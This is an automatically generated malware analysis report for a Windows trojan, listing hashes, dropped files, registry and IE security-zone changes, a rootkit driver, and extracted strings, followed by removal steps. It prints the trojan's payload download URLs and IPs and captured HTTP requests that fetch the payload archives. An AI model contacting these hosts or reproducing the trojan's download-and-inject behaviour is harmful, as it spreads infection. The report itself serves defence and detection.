Trojan.Generic.16226831_3d0fa2e20e

by malwarelabrobot on April 13th, 2016 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Generic.16226831 (B) (Emsisoft), Trojan.Generic.16226831 (AdAware), Trojan.Win32.FlyStudio.FD, TrojanFlyStudio.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 3d0fa2e20e7ae92f35e37cb9e858988c
SHA1: f75433d7bf945c700ac4fbc2914a159504341e09
SHA256: 5527eff443b7e8bb2c8b14f3c5aa88af8301dc93025997d9d24d303e8255ca07
SSDeep: 98304:jgWLgOuyy6yW2chxAp2SQVk5bp6FYskEhiN4xQHvPOoXlpSLxpB:fkshuCVk5l6 skCW4xQHvPOaTSdpB
Size: 4390912 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2016-03-31 04:58:28
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ping.exe:2020
%original file name%.exe:2024
LMIns.exe:228

The Trojan injects its code into the following process(es):

Ììʹ.exe:872
Explorer.EXE:884

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2024 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Ììʹ.exe (17629 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\1192515 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1192515\TemporaryFile (0 bytes)

The process LMIns.exe:228 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
%WinDir%\Setupsti.log (8282 bytes)
%WinDir%\setupapi.log (3776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
%WinDir%\inf\oem11.inf (2 bytes)
%System%\drivers\SET4.tmp (27 bytes)
%WinDir%\inf\oem11.PNF (11641 bytes)
%WinDir%\hllog.txt (13 bytes)
%WinDir%\_ntdll.bak (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@doubleclick[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@rambler[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@kaspersky[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@aaa[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@twitter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@microsoft[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@abmr[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%System%\drivers\SET4.tmp (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@adnxs[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@atdmt[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@adgear[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[3].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msn[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tns-counter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@scorecardresearch[2].txt (0 bytes)

The process Ììʹ.exe:872 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ÁÙʱĿ¼λÖÃ.ini (46 bytes)

Registry activity

The process ping.exe:2020 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 85 A6 44 11 2A 37 D4 FF 89 60 A4 10 B1 2C 1A"

The process %original file name%.exe:2024 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 69 C5 A8 F4 25 72 72 B5 81 DE B5 77 E8 2D F9"

The process LMIns.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem11.inf" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"FSFilter Activity Monitor" = "04 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\Mslmedia]
"DebugFlags" = "0"

[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem11.PNF" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"_lm_delself_.bat" = "_lm_delself_"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 83 B3 4D 2F 21 AA FF 10 26 B3 07 66 72 74 26"

[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances]
"DefaultInstance" = "Mslmedia Instance"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances\Mslmedia Instance]
"Altitude" = "370030"
"Flags" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process Ììʹ.exe:872 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 D5 7C D0 1F D9 24 13 50 62 85 49 13 F4 46 32"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\[email protected],"

Dropped PE files

MD5 File path
1f13583f763fc9f1b31420c533ade278 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\LMIns.exe
314bc2bebdd287972fee4bf832877b5d c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\[email protected]
27d9ed8cb8b62d1e0a8e5ace6cf52e2f c:\WINDOWS\_ntdll.bak
7d6ba7cb844e20128ea13467a63b8ea1 c:\WINDOWS\system32\drivers\Mslmedia.sys

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "%System%\DRIVERS\Mslmedia.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name: ?????
Product Version: 1.0.0.0
Legal Copyright: ?????? ????????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ?????
Comments: ??????????(http://www.eyuyan.com)
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 415786 417792 4.53171 bebc6324ded8bda24d730d8960fccbba
.rdata 421888 3880288 3883008 5.29127 ac969835b26720cff8d4098d2292de86
.data 4304896 149448 61440 3.33146 4e4db08d2174ef73bdee51bce37b2450
.rsrc 4456448 22336 24576 3.30571 7a0f46d8f68f6c9aa53ee5f271fdf22d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/updatever.rar
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/wkmdc.rar
hxxp://hlupdate.liu1xia.com/updatever.rar 120.25.112.8
hxxp://hlupdate.liu1xia.com/wkmdc.rar 120.25.112.8
hlsoft8.laolaoma.com 120.25.144.64


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /updatever.rar HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: AliyunOSS
Date: Tue, 12 Apr 2016 13:57:00 GMT
Content-Type: application/octet-stream
Content-Length: 43093
Connection: keep-alive
x-oss-request-id: 570CFEAC8051B2B0D65741A8
Accept-Ranges: bytes
ETag: "CC9E7A6455FB651F1FBE2230F30CFD19"
Last-Modified: Tue, 05 Apr 2016 14:30:38 GMT
x-oss-object-type: Normal
x...}xT..0~&s....3....2... ....I4.L....!3..D ...J...J..3..lF.{...z..{.
...V1.*N.........h..8Q.@> ..k.33......<......s.9.c....^k.}N.....
s...OU9.....r...>.M........:.E........j........c.]w..'.J..n.l..b..'
..Un...].a~ff.5....?\.Z..l....?.. K......y.W.~..|..K.<.%K.<...}.
'..gq.v}..KW.s...]9f...V.R..czo"..K.5^7..N...Z^.*.....;.O...x.D...1.}*
..Xkd..j.S3u.rH..:n.f........n.q...3.-F..4.q.t...|i.........d..ca...oY
..t'.....{.......[8_..=.....I........e..........d..#.-.6.....j8...^...
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..)q\..W{...z];)..u...o9...ZUU..a...Ha.q...*...`D.<..C..`......[M..
b ....5...H.#.-....YW...../..]._l~..-..w6..N._..=.......>.(..v.....
..n$.c`.u0.V._..O% [email protected][M:j ..._...#6x.N.)\|....6..
e......-..k66M,[.|.....@c...*`;..#xt..fSN..P..*5..X. .'..o.k....qLT>
;C.Tz...h...x.u).t.S.G.G...2.R..]...O(RvZ..|-....l....W.ia>........
.k2.....!...o...h...ti....!C...L....uc.\...._.B0.c.9Zk...} [email protected]
...."......j......ej/.1..7./.E.H*...6..B..../.)'...X.t...M`....J..j...
6..p.|..fd...r:0*......C...>,[email protected].]..Iz...DR.).m.... .]g.R...
.#f.F..%..@. )...htU.M..%...8:A............c........~.1....g....8....
.....9R._6g...J/}l89!9.I.[.&}[email protected]>...Hk;..J..
...$E.......X..~67...W...qV7...............8....y.^.../r...1\.....'..z
.....]Z.... 8#C...v)...nNV.(......W!....Gp.|xE.j. .&.... .J.2...3B4.6A
..9.tF..P......2}...FU..y....|..{. .......^.%.....d5.D...44.... .v....
.5Vc.69[W..dH)......b.)[email protected][email protected]"........=.

<<< skipped >>>

GET /wkmdc.rar HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: AliyunOSS
Date: Tue, 12 Apr 2016 13:57:02 GMT
Content-Type: application/octet-stream
Content-Length: 370673
Connection: keep-alive
x-oss-request-id: 570CFEAE8051B2B0D65743D5
Accept-Ranges: bytes
ETag: "191F21CC190122C479F0C6DFDAC5E98C"
Last-Modified: Thu, 31 Mar 2016 04:56:22 GMT
x-oss-object-type: Normal
M.....P.t....o@p8..``..`......0 .000.p.P ..p0p.0`00...p..P.P.....O..`.
9M.x.|-!dX9.....g2..P.A.^.$.B%.2.n..>pt.c.].4.>..Z...`..`..hj.'9
$..94...tH..n.=.4.i..XO..(i....Ydh..7.R..h../..iT.7.EX.I.HNA....$8...X
.9.H.......xb...'.$.0P...pP.P......`...6.. ...`[email protected].....`...0Pp..w.
.. .P.P .. ....@.@ .P..`..@..`%.... P.....T`.... "0..@.`0.........`.@
[email protected][email protected]@[email protected]`. ........P.0. [email protected].....`.....
@.P.`P........P`......00P..p..0p..p.A..a.`.P``p....`[email protected].
........@[email protected]`.p..0..............1da...1. [email protected].@n.@.`P.......
pp...0.4.41@.`......q ...0P.1p0..`..@.``0..p.P..S.....tQ..`[email protected]...
`.....@. ...p.P.^R.....P...`[email protected]..@@@....P.....0.R.. `. ....p.P
...0.p0p.`@. ......0.p ..@. [email protected]...... ...0... .. ....Pp...
0....`.p......P.`.....pp......P.P ..P0.`... .......P@.@. @p..0... .@ P
..`.p...``... .p`@ .@@pp`...@....`P.....`...0`0.....P.P0.P.`.. . .@0@.
`[email protected]@.....@`.Pp.. @@.......0........... ...@`0.`.0 [email protected]
@[email protected]`p...P....pp..P.pp [email protected]..`...@{....,...|\l.\......
..,,.L.<........l........L..[Dd.. (.$.4.....P,....L\.l|.|.,L. 4..C.
TW].D.o...1..X./. V...;..`[.?.....l..l.,....U).........1Ld.Q0.A.!..P
..y...[....BP.R.P.."<P..\.\|.\.L.....H.G1..1..p0..x.A..t.}4D.d..0.@
...Dw.x...s..p.0.q0I..........q`..$H_..9.|Y...4D\....[\tdD.]....9.....
..,,\<...|..Q......V.T.1.)[email protected] ...t...
.....@.`[email protected].`@.P;.,.@D...~..........`.p..`.` ..T..../
_W.t0/.`..T........9.s.....,..<..cV......'K.H..Q......$.......D

<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

Ììʹ.exe_872:

.text
`.rdata
@.data
.rsrc
t$(SSh
~%UVW
u$SShe
GetProcessHeap
\AudioSes.dll
\CEGUI.log
\TenSRL.dat
ssF.data
2=%F_=
2%U{Q
weQmw.qg
%s1><
Yq.Aa
kx.lR
.aP6=
i.KF(
.MBW|
A}QpD.CV
.zsM5K
3.RZ_
{zR
.AH~/
.Sqv^mm
cscapi.dll
kernel32.dll
user32.dll
advapi32.dll
oleaut32.dll
gdi32.dll
shell32.dll
version.dll
MSVCRT.dll
SHLWAPI.dll
RegCloseKey
ShellExecuteA
_:%u@
Q5%Sx
@.HD_
?b=ssH
M|.QE
w#%xf
4)EB.LEy
2%0X2
.qR{[
\.Ne7]
G7.CFn
ÀiH%$1g
b.ln1
n:%u|
pp;%F
GJma%Dtj
n .in
^t.KnR/k
%S6=f
%CRyDL
O[.cC
f .iF
%X6RU
2i;r%Fu
.Edqn
.ud8I
%UPor
QTTcp
)*w.yB:
E5u.IgySB
erhD.yY
JL)%cP
P,<%Sl
6%Fi~
n.uJC
o2OSC.KF
%D%u*
P9|bY.kc
_{.Qd
M.Gd0
UP%s-
x0Y\.Ne
L6Bw<%d
`.ESc
.hF){
.wA@!yH
>%U,N
.JPTv<
.mrA_
=.Wx5
=~V9.nP
(Of1}2%C
KBI.EuQ
.KePA
G2.aW
DTCP
xW.rH
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.fGj0op[
>L.Zc
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.uu&i
=.sj]2e
,%UmNm
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P@#h%d"
IfTP
=.WB5
.hlp<
.idata
.edata
P.vmp0
`.vmp1
.reloc
P.rsrc
1e.ro4A
H0.gW
comctl32.dll
d.jF/"
r#'%C
6.Xdp
g|$^.Cn
>.bM8
>Z.Ye
w4R`$p%s*
f.zo~L^
wsock32.dll
ntdll.dll
Ë.L@
l.sQ{
c-t{.FF
b#I".wM
e.ENZ
xip.tu
@>.vO
%FX2Fsi
qKT.jLka
3.LD7
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&8.XMj
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yyhKa%S
d.Zd=#R
x0r%F{
.IPi)
Vj.jH
>M%X9
/8[<{~@ 
bc.lTk
ks_GetMsg
kssPlugin.dll
tole32.dll
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
Broken pipe
Inappropriate I/O control operation
Operation not permitted
WinExec
KERNEL32.dll
GetKeyState
USER32.dll
GetViewportOrgEx
GDI32.dll
WINMM.dll
WINSPOOL.DRV
RegOpenKeyExA
ADVAPI32.dll
SHELL32.dll
ole32.dll
OLEAUT32.dll
COMCTL32.dll
WS2_32.dll
GetCPInfo
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
comdlg32.dll
RegCreateKeyExA
.PAVCException@@
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
.PAVCFileException@@
: %d]
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
.PAVCNotSupportedException@@
out.prn
(*.prn)|*.prn|
%d.%d
%d/%d
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
%d / %d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
#include "l.chs\afxres.rc" // Standard components
9.5.25.212
(*.*)

Ììʹ.exe_872_rwx_00C68000_0000C000:

x.yvr
x.yvkd
x.yvw
x.yvq5v

Ììʹ.exe_872_rwx_00CFD000_000CA000:

version.dll
user32.dll
shell32.dll
1e.ro4A
oleaut32.dll
H0.gW
comctl32.dll
advapi32.dll
gdi32.dll
d.jF/"
r#'%C
6.Xdp
g|$^.Cn
>.bM8
>Z.Ye
w4R`$p%s*
f.zo~L^
wsock32.dll
ntdll.dll
Ë.L@
l.sQ{
c-t{.FF
b#I".wM
e.ENZ
xip.tu
@>.vO
%FX2Fsi
qKT.jLka
3.LD7
Uq
G,.gd
<.cFF=j
&8.XMj
$~O.Ba
)].Wd
/_{M%U
Q%s6|
lVfeVg
 !%uO
mh.ud
m%Csn%
kq84.QaI
)f%fg
.SuDYw
K)`p.frC
*%s!%
aR.dDb&<y
.xk 4g
ShellExecuteA
RegCloseKey
)%S{.
'U}.Ue
l%S(8x$!(
1L%UJ
.vtbw
.iA5N
yyhKa%S
d.Zd=#R
x0r%F{
.IPi)
Vj.jH
>M%X9
/8[<{~@ 
bc.lTk
ks_GetMsg
kssPlugin.dll
tole32.dll
kernel32.dll

Explorer.EXE_884_rwx_01CA0000_00001000:

PID=1184(0)=1=0.0.0,0_0x0_0x0-0x0-35_0_0,fg=1,rmv=0/0 %WinDir%\Explorer.EXE

Explorer.EXE_884_rwx_01F00000_00077000:

.text
`.rdata
@.data
.rsrc
@.reloc
tGHt.Ht&
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
1.2.3
inflate 1.2.3 Copyright 1995-2005 Mark Adler
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
operator
GetProcessWindowStation
USER32.DLL
error in ReadProcessMemory , RVA=X sizeread=%d ret=%d Error=#%ld
error in WriteProcessMemory , sizewrite=%d ret=%d RVA=%I64X Error=#%ld
error in VirtualAllocEx , size=%d Error=#%ld
kernel32.dll
actth3.0.1
X=X
%s%d.%s.%s
---thisid=%d,drvio=%d, %d.%d.%d, moddenies=%d,codechgcnt=%d,dbg_flag=%X logstep=%d, uidfg=%d,codechg=%d,cw=%d, gid=%d,byid=%u,vbyid=%d, cfgflag=0x%X,actrunning=%d,netava=%d,netini=%d, nopc=%d,actc=%d,inopmm=%d,udppostc=%d,%s
---IJ=%s shdata=X idnotmch=%d tmused=%d,c_send=%d,c_recv=%d,fver%d.%d.%d.%d dllver=%u/using=%u
HttpDown run=%d,tsk=%d
UPOST:%d
P%d parse error
P%d 0xX,%d/%d step=%d,pst=%d ,%s(dw:X)
no udp post object
_hlmk_3.tmp~
No ID again,preid=%d, X line=%d
hXXp://%s/%s
-- [%s]-%s- %s
saveurl
c:\Windows\UrlSave\
hXXp://%s/soft/%u_%d.rar
Ole32.dll
ole32.dll
shell32.dll
hlrestart.bat
ping 127.0.0.1 -n 8
ShellExecuteA
locker32.dll
locker64.dll
DriverImpl64.sys
DriverImpl32.sys
XXXXXXX
netcfgurl
error in CreateFileMapping #%d,pro=0x%X,size=%d,name=%s
error in MapViewOfFile #%d
error in OpenMap #%d
%s=%s
HTTP/
ws2_32.dll
[%d]%s
d:d:d %s
d-d-d d:d:d %s
d_d_d.txt
advapi32.dll
ReportEventA
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
DeleteUrlCacheEntryA
FindCloseUrlCache
HttpQueryInfoA
InternetOpenUrlA
wininet.dll
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
#%d ,sess=%x url:%s
%d.%d.%d.%d
%s:%d
ntdll.dll
iphlpapi.dll
%4X:%.4X
%4X:%.8X
error in VirtualFreeEx , RVA=X Error=#%ld
-115726016"
kernelBase.dll
user32.dll
user32=%d/%d
.JPEG
hXXp://
d:\programs\out\HLSys\Release\locker.pdb
GetWindowsDirectoryA
KERNEL32.dll
GetCPInfo
GetConsoleOutputCP
GetProcessHeap
locker.dll
erroffset passed as NULL
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X
POSIX named classes are supported only within a class
POSIX collating elements are not supported
!"#$%&'()* ,-./0123456789
!"#$%&'()* ,-./
!"#$%&'()* ,-./012345678
!"#$%&'()* 
,-./0123456789:;
!"#$%&'(
$%&'()* ,-./0123
$%&'()* ,-.
!"#$%&'()* ,-./01234567
!"#$%&'()
Dbgview.exe
\explorer.exe
.?AVCUDPDataPost@@
.?AVCThread_UrlSaving@@
.?AUIHttpDownNotify@@
.?AVCHttpTask@@
.?AVCHttpDownService@@
.?AUIHttpSessNotify@@
.?AVCHttpSession@@
.?AVCWebHookHandler@@
192.168.
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
6)6/656;6
5'5-52575>5
=#=,=3=8=?=
?'?,?0?4?]?
8%8u8
0 0@0`0|0
=$=,=4=<=|=
KERNEL32.DLL
mscoree.dll
\msctf.dll
\uxtheme.dll


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ping.exe:2020
    %original file name%.exe:2024
    LMIns.exe:228

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\Ììʹ.exe (17629 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
    %WinDir%\Setupsti.log (8282 bytes)
    %WinDir%\setupapi.log (3776 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
    %WinDir%\inf\oem11.inf (2 bytes)
    %System%\drivers\SET4.tmp (27 bytes)
    %WinDir%\inf\oem11.PNF (11641 bytes)
    %WinDir%\hllog.txt (13 bytes)
    %WinDir%\_ntdll.bak (4545 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)
    C:\ÁÙʱĿ¼λÖÃ.ini (46 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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